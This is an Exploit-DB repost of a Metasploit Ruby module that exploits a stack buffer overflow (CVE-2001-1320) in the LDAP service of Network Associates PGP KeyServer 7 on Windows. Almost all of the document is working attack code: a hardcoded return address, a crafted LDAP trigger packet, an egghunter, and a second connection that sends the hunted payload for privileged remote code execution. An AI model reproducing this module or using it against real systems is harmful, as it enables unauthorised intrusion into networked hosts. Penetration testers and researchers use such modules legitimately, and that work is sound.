Network Associates PGP KeyServer 7 – LDAP Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-11-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16823/
  • ##
    # $Id: pgp_keyserver7.rb 11039 2010-11-14 19:03:24Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking
    
    	include Msf::Exploit::Remote::Tcp
    	include Msf::Exploit::Remote::Egghunter
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a stack buffer overflow in the LDAP service that is
    					part of the NAI PGP Enterprise product suite. This module was tested
    					against PGP KeyServer v7.0. Due to space restrictions, egghunter is
    					used to find our payload - therefore you may wish to adjust WfsDelay.
    			},
    			'Author' => [ 'patrick' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 11039 $',
    			'References' =>
    				[
    					[ 'CVE', '2001-1320' ],
    					[ 'OSVDB', '4742' ],
    					[ 'BID', '3046' ],
    					[ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],
    				],
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space'=> 450,
    					'BadChars' => "\x00\x0a\x0d\x20",
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp
    				],
    			'DisclosureDate' => 'Jul 16 2001',
    			'DefaultTarget' => 0))
    
    		register_options(
    			[
    				Opt::RPORT(389)
    			], self.class)
    	end
    
    	def exploit
    		connect
    
    		# - Maximum payload space is 102 so we use EggHunter instead.
    		# - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.
    
    		hunter	= generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
    		egg	= hunter[1]
    
    		eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff
    		eggend = "\x80\x00"
    
    		print_status("Sending trigger and hunter first...")
    
    		buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff
    		buf << [target['Ret']].pack('V') + hunter[0]
    		buf << "\x00"
    
    		sock.put(buf)
    
    		disconnect
    
    		connect
    
    		print_status("Sending hunted payload...")
    		sock.put(eggstart+egg+eggend)
    
    		handler
    		disconnect
    	end
    
    end